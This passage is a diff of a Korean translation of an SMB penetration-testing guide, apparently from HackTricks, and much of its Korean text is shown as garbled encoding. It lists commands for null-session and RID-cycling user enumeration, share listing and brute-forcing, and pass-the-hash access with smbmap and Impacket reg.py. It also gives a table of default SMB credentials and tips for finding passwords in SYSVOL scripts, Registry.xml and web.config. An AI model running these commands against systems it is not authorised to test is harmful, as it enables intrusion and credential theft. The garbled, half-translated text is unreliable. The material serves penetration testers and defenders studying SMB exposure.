**Unix** systems, thereby facilitating cross-platform communication through SMB. -Shares๋Š” **arbitrary parts of the local file system**๋ฅผ ๋‚˜ํƒ€๋‚ด๋ฉฐ SMB ์„œ๋ฒ„๊ฐ€ ์ด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์–ด ํด๋ผ์ด์–ธํŠธ์— ํ‘œ์‹œ๋˜๋Š” ๊ณ„์ธต ๊ตฌ์กฐ๊ฐ€ ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ์ผ๋ถ€ **independent**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **Access Control Lists (ACLs)**๋Š” **access rights**๋ฅผ ์ •์˜ํ•˜๋ฉฐ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์„ **fine-grained control**๋กœ ์„ธ๋ฐ€ํ•˜๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” **`execute`**, **`read`**, **`full access`** ๊ฐ™์€ ์†์„ฑ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ Shares๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์„œ๋ฒ„์— ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๋ณ„๊ฐœ์ž…๋‹ˆ๋‹ค. +Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server. ### IPC$ Share -IPC$ share์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… null session์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด named pipes๋กœ ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์—๋Š” ์œ ํ‹ธ๋ฆฌํ‹ฐ `enum4linux`๊ฐ€ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of: -- ์šด์˜ ์ฒด์ œ์— ๋Œ€ํ•œ ์ •๋ณด -- ์ƒ์œ„ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด +- ์šด์˜์ฒด์ œ ์ •๋ณด +- ์ƒ์œ„ ๋„๋ฉ”์ธ ์ •๋ณด - ๋กœ์ปฌ ์‚ฌ์šฉ์ž ๋ฐ ๊ทธ๋ฃน ๋ชฉ๋ก -- ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ SMB shares์— ๋Œ€ํ•œ ์ •๋ณด +- ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ SMB shares ์ •๋ณด - ์ ์šฉ ์ค‘์ธ ์‹œ์Šคํ…œ ๋ณด์•ˆ ์ •์ฑ… -์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž์™€ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๊ฐ€ ๋„คํŠธ์›Œํฌ์ƒ์˜ SMB (Server Message Block) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ์ƒํƒœ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. `enum4linux`๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์„ ํฌ๊ด„์ ์œผ๋กœ ๋ณด์—ฌ์ฃผ์–ด ์ž ์žฌ์  ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํžˆ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured. ```bash enum4linux -a target_ip ``` -์œ„ ๋ช…๋ น์€ `enum4linux`๊ฐ€ `target_ip`๋กœ ์ง€์ •๋œ ๋Œ€์ƒ์— ๋Œ€ํ•ด ์ „์ฒด ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค. +์œ„ ๋ช…๋ น์€ `enum4linux`๋ฅผ ์‚ฌ์šฉํ•ด `target_ip`๋กœ ์ง€์ •ํ•œ ๋Œ€์ƒ์— ๋Œ€ํ•ด ์ „์ฒด ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค. ## NTLM์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€ -NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ์ž‘๋™ ๋ฐฉ์‹๊ณผ ์•…์šฉ ๋ฐฉ๋ฒ•์„ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **NTLM**์— ๊ด€ํ•œ ๋‹ค์Œ ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ด๋ฉฐ ์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€์™€ ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€๊ฐ€ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค: +๋งŒ์•ฝ **NTLM**์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ ์ž‘๋™ ๋ฐฉ์‹๊ณผ ์•…์šฉ ๋ฐฉ๋ฒ•์„ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **NTLM**์— ๊ด€ํ•œ ์ด ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ํŽ˜์ด์ง€์—๋Š” **์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€์™€ ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€**๊ฐ€ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค: {{#ref}} @@ -55,9 +55,9 @@ nbtscan -r 192.168.0.1/24 ``` ### SMB ์„œ๋ฒ„ ๋ฒ„์ „ -SMB ๋ฒ„์ „์˜ ๊ฐ€๋Šฅํ•œ exploit์„ ์ฐพ์œผ๋ ค๋ฉด ์‚ฌ์šฉ ์ค‘์ธ ๋ฒ„์ „์„ ์•„๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๋ณด๊ฐ€ ๋‹ค๋ฅธ ๋„๊ตฌ์— ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +SMB ๋ฒ„์ „์— ๋Œ€ํ•œ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” ์–ด๋–ค ๋ฒ„์ „์ด ์‚ฌ์šฉ ์ค‘์ธ์ง€ ์•„๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ •๋ณด๊ฐ€ ๋‹ค๋ฅธ ๋„๊ตฌ๋“ค์—์„œ ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -- Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` +- **MSF** ๋ณด์กฐ ๋ชจ๋“ˆ `**auxiliary/scanner/smb/smb_version**` - ๋˜๋Š” ์ด ์Šคํฌ๋ฆฝํŠธ: ```bash #!/bin/sh @@ -75,21 +75,21 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` -### **๊ฒ€์ƒ‰ exploit** +### **exploit ๊ฒ€์ƒ‰** ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **๊ฐ€๋Šฅํ•œ** ์ž๊ฒฉ ์ฆ๋ช… -| **์‚ฌ์šฉ์ž๋ช…(๋“ค)** | **์ผ๋ฐ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ** | +| **์‚ฌ์šฉ์ž ์ด๋ฆ„(๋“ค)** | **์ผ๋ฐ˜ ๋น„๋ฐ€๋ฒˆํ˜ธ** | | -------------------- | ----------------------------------------- | -| _(๋นˆ์นธ)_ | _(๋นˆ์นธ)_ | -| guest | _(๋นˆ์นธ)_ | -| Administrator, admin | _(๋นˆ์นธ)_, password, administrator, admin | +| _(๋นˆ์นธ)_ | _(๋นˆ์นธ)_ | +| guest | _(๋นˆ์นธ)_ | +| Administrator, admin | _(๋นˆ์นธ)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | +| backupexec, backup | backupexec, backup, arcada | | test, lab, demo | password, test, lab, demo | ### Brute Force @@ -98,7 +98,7 @@ searchsploit microsoft smb ### SMB ํ™˜๊ฒฝ ์ •๋ณด -### ์ •๋ณด ์ˆ˜์ง‘ +### ์ •๋ณด ํš๋“ ```bash #Dump interesting information enum4linux -a [-u "" -p ""] @@ -122,7 +122,7 @@ rpcclient -U "username%passwd" #With creds ``` ### ์‚ฌ์šฉ์ž, ๊ทธ๋ฃน ๋ฐ ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž ์—ด๊ฑฐ -์ด ์ •๋ณด๋Š” enum4linux ๋ฐ enum4linux-ng์—์„œ ์ด๋ฏธ ์ˆ˜์ง‘๋˜์—ˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. +์ด ์ •๋ณด๋Š” ์ด๋ฏธ enum4linux ๋ฐ enum4linux-ng์—์„œ ์ˆ˜์ง‘๋˜์—ˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -140,7 +140,7 @@ enumdomgroups ```bash lookupsid.py -no-pass hostname.local ``` -์›๋ผ์ด๋„ˆ +ํ•œ ์ค„ ๋ช…๋ น ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` @@ -157,7 +157,7 @@ run rpcclient-enumeration.md {{#endref}} -### GUI ์—ฐ๊ฒฐ (linux์—์„œ) +### Linux์—์„œ GUI ์—ฐ๊ฒฐ #### ํ„ฐ๋ฏธ๋„์—์„œ: @@ -169,9 +169,9 @@ rpcclient-enumeration.md ## ๊ณต์œ  ํด๋” ์—ด๊ฑฐ -### ๊ณต์œ  ํด๋” ๋ชฉ๋ก +### ๊ณต์œ  ํด๋” ๋‚˜์—ด -ํ•ญ์ƒ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ญ๋ชฉ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. credentials๊ฐ€ ์—†๋‹ค๋ฉด **null** **credentials/guest user**๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”. +๊ฐ€๋Šฅํ•œ ํ•ญ๋ชฉ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ•ญ์ƒ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ž๊ฒฉ ์ฆ๋ช…์ด ์—†๋Š” ๊ฒฝ์šฐ **null** **credentials/guest user**๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **๊ณต์œ  ํด๋” ์—ฐ๊ฒฐ/๋ชฉ๋ก** +### **๊ณต์œ  ํด๋” ์—ฐ๊ฒฐ/๋ชฉ๋ก ๋ณด๊ธฐ** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,12 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **์ˆ˜๋™์œผ๋กœ windows ๊ณต์œ ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ์—ฐ๊ฒฐํ•˜๊ธฐ** +### **์ˆ˜๋™์œผ๋กœ Windows ๊ณต์œ ๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ์—ฐ๊ฒฐํ•˜๊ธฐ** -ํ˜ธ์ŠคํŠธ ๋จธ์‹ ์˜ ๊ณต์œ  ์กฐํšŒ๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์–ด ๋ชฉ๋ก์„ ์‹œ๋„ํ•  ๋•Œ ์—ฐ๊ฒฐ ๊ฐ€๋Šฅํ•œ ๊ณต์œ ๊ฐ€ ์ „ํ˜€ ์—†๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ˆ˜๋™์œผ๋กœ ๊ณต์œ ์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•ด๋ณด๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. -๊ณต์œ ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์—ด๊ฑฐํ•˜๋ ค๋ฉด ์œ ํšจํ•œ ์„ธ์…˜(์˜ˆ: null session ๋˜๋Š” ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…)์„ ์‚ฌ์šฉํ•  ๋•Œ NT_STATUS_ACCESS_DENIED๋‚˜ NT_STATUS_BAD_NETWORK_NAME ๊ฐ™์€ ์‘๋‹ต์„ ํ™•์ธํ•ด๋ณด์„ธ์š”. ์ด๋Ÿฌํ•œ ์‘๋‹ต์€ ํ•ด๋‹น ๊ณต์œ ๊ฐ€ ์กด์žฌํ•˜์ง€๋งŒ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†์Œ์„ ๋‚˜ํƒ€๋‚ด๊ฑฐ๋‚˜, ๊ณต์œ  ์ž์ฒด๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์Œ์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ˜ธ์ŠคํŠธ ๋จธ์‹ ์˜ ๊ณต์œ  ํ‘œ์‹œ๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ์–ด ๊ณต์œ ๋ฅผ ๋‚˜์—ดํ•˜๋ ค ํ•  ๋•Œ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต์œ ๊ฐ€ ์ „ํ˜€ ์—†๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ˆ˜๋™์œผ๋กœ ๊ณต์œ ์— ์ง์ ‘ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•ด ๋ณด๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๊ณต์œ ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์—ด๊ฑฐํ•˜๋ ค๋ฉด ์œ ํšจํ•œ ์„ธ์…˜(์˜ˆ: null session ๋˜๋Š” ์œ ํšจํ•œ ์ž๊ฒฉ์ฆ๋ช…)์„ ์‚ฌ์šฉํ•  ๋•Œ NT_STATUS_ACCESS_DENIED ๋˜๋Š” NT_STATUS_BAD_NETWORK_NAME ๊ฐ™์€ ์‘๋‹ต์„ ํ™•์ธํ•ด ๋ณด์‹ญ์‹œ์˜ค. ์ด ์‘๋‹ต๋“ค์€ ๊ณต์œ ๊ฐ€ ์กด์žฌํ•˜์ง€๋งŒ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†์Œ์„ ๋‚˜ํƒ€๋‚ด๊ฑฐ๋‚˜, ๊ณต์œ ๊ฐ€ ์•„์˜ˆ ์กด์žฌํ•˜์ง€ ์•Š์Œ์„ ์•Œ๋ฆฌ๋Š” ์‹ ํ˜ธ์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -windows ๋Œ€์ƒ์—์„œ ํ”ํ•œ ๊ณต์œ  ์ด๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค +Common share names for windows targets are - C$ - D$ @@ -213,14 +212,14 @@ windows ๋Œ€์ƒ์—์„œ ํ”ํ•œ ๊ณต์œ  ์ด๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค - SYSVOL - NETLOGON -(์ผ๋ฐ˜์ ์ธ ๊ณต์œ  ์ด๋ฆ„ โ€” _**Network Security Assessment 3rd edition**_์—์„œ ๋ฐœ์ทŒ) +(์ผ๋ฐ˜์ ์ธ ๊ณต์œ  ์ด๋ฆ„ ์ถœ์ฒ˜: _**Network Security Assessment 3rd edition**_) ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ๊ณต์œ ์— ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -๋˜๋Š” ์ด ์Šคํฌ๋ฆฝํŠธ (null session์„ ์‚ฌ์šฉํ•˜์—ฌ) +๋˜๋Š” ์ด script (null session์„ ์‚ฌ์šฉํ•˜์—ฌ) ```bash #/bin/bash @@ -237,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD fi done ``` -์˜ˆ์‹œ +์˜ˆ์ œ ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows์—์„œ shares ์—ด๊ฑฐํ•˜๊ธฐ / ์„œ๋“œํŒŒํ‹ฐ ๋„๊ตฌ ์—†์ด** +### **Windows์—์„œ ๊ณต์œ  ์—ด๊ฑฐ / ํƒ€์‚ฌ ๋„๊ตฌ ์—†์ด** PowerShell ```bash @@ -261,14 +260,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in (๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค) +MMC ์Šค๋ƒ…์ธ (๊ทธ๋ž˜ํ”ฝ) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค)์—์„œ `\\\` ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ˆจ๊น€์ด ์•„๋‹Œ ๊ณต์œ ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +explorer.exe (graphical)์—์„œ `\\\`๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ non-hidden shares๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ### ๊ณต์œ  ํด๋” ๋งˆ์šดํŠธ ```bash @@ -277,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ** -์ด์ „ ์„น์…˜์„ ์ฝ์–ด credentials/Pass-the-Hash๋กœ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”. +์ด์ „ ์„น์…˜์„ ์ฝ์–ด credentials/Pass-the-Hash๋ฅผ ์‚ฌ์šฉํ•ด ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์„ธ์š”. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -294,12 +293,12 @@ smbclient /// ``` ๋ช…๋ น์–ด: -- mask: ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด ํŒŒ์ผ์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋งˆ์Šคํฌ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: "" ๋Š” ๋ชจ๋“  ํŒŒ์ผ) -- recurse: ์žฌ๊ท€ ๊ฒ€์ƒ‰์„ ์ผœ๊ฑฐ๋‚˜ ๋•๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’: ๊บผ์ง) -- prompt: ํŒŒ์ผ๋ช…์— ๋Œ€ํ•œ ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’: ์ผœ์ง) -- mget: ๋งˆ์Šคํฌ์™€ ์ผ์น˜ํ•˜๋Š” ๋ชจ๋“  ํŒŒ์ผ์„ ํ˜ธ์ŠคํŠธ์—์„œ ํด๋ผ์ด์–ธํŠธ๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค +- mask: ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด ํŒŒ์ผ์„ ํ•„ํ„ฐ๋งํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋งˆ์Šคํฌ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค (e.g. "" for all files) +- recurse: ์žฌ๊ท€ ์ฒ˜๋ฆฌ๋ฅผ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค (๊ธฐ๋ณธ๊ฐ’: off) +- prompt: ํŒŒ์ผ๋ช… ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ๊ฐ’: on) +- mget: ํ˜ธ์ŠคํŠธ์—์„œ ํด๋ผ์ด์–ธํŠธ ๋จธ์‹ ์œผ๋กœ ๋งˆ์Šคํฌ์— ์ผ์น˜ํ•˜๋Š” ๋ชจ๋“  ํŒŒ์ผ์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค -(_smbclient์˜ manpage์—์„œ ๊ฐ€์ ธ์˜จ ์ •๋ณด_) +(_smbclient์˜ ๋งค๋‰ด์–ผ์—์„œ ๊ฐ€์ ธ์˜จ ์ •๋ณด_) ### ๋„๋ฉ”์ธ ๊ณต์œ  ํด๋” ๊ฒ€์ƒ‰ @@ -313,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Specially interesting from shares are the files called **`Registry.xml`** as they **passwords๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains **credentials**. +๊ณต์œ ์—์„œ ํŠนํžˆ ํฅ๋ฏธ๋กœ์šด ํŒŒ์ผ์€ **`Registry.xml`**์ธ๋ฐ, ์ด ํŒŒ์ผ์€ Group Policy๋ฅผ ํ†ตํ•ด **autologon**์œผ๋กœ ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž๋“ค์˜ **๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋˜๋Š” ์ž๊ฒฉ์ฆ๋ช…์ด ๋“ค์–ด์žˆ๋Š” **`web.config`** ํŒŒ์ผ๋“ค๋„ ์žˆ์Šต๋‹ˆ๋‹ค. > [!TIP] -> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ -> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. +> **SYSVOL share**๋Š” ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์—๊ฒŒ **์ฝ๊ธฐ ๊ฐ€๋Šฅ**ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ์•ˆ์—๋Š” ๋‹ค์–‘ํ•œ batch, VBScript, PowerShell **์Šคํฌ๋ฆฝํŠธ**๋“ค์„ **์ฐพ์„** ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +> ๋‚ด๋ถ€์˜ **์Šคํฌ๋ฆฝํŠธ**๋“ค์„ **ํ™•์ธ**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ## ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ -You may be able to **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ** using some discovered **credentials**. Impacket **`reg.py`** allows you to try: +๋ฐœ๊ฒฌํ•œ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ฝ์„** ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค. Impacket **`reg.py`**๋ฅผ ์‚ฌ์šฉํ•ด ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -329,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -**๊ธฐ๋ณธ ์„ค์ • ํŒŒ์ผ**์€ **Samba** ์„œ๋ฒ„์—์„œ ๋ณดํ†ต `/etc/samba/smb.conf`์— ์œ„์น˜ํ•˜๋ฉฐ ๋ช‡ ๊ฐ€์ง€ **์œ„ํ—˜ํ•œ ์„ค์ •**์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +**Samba** ์„œ๋ฒ„์˜ 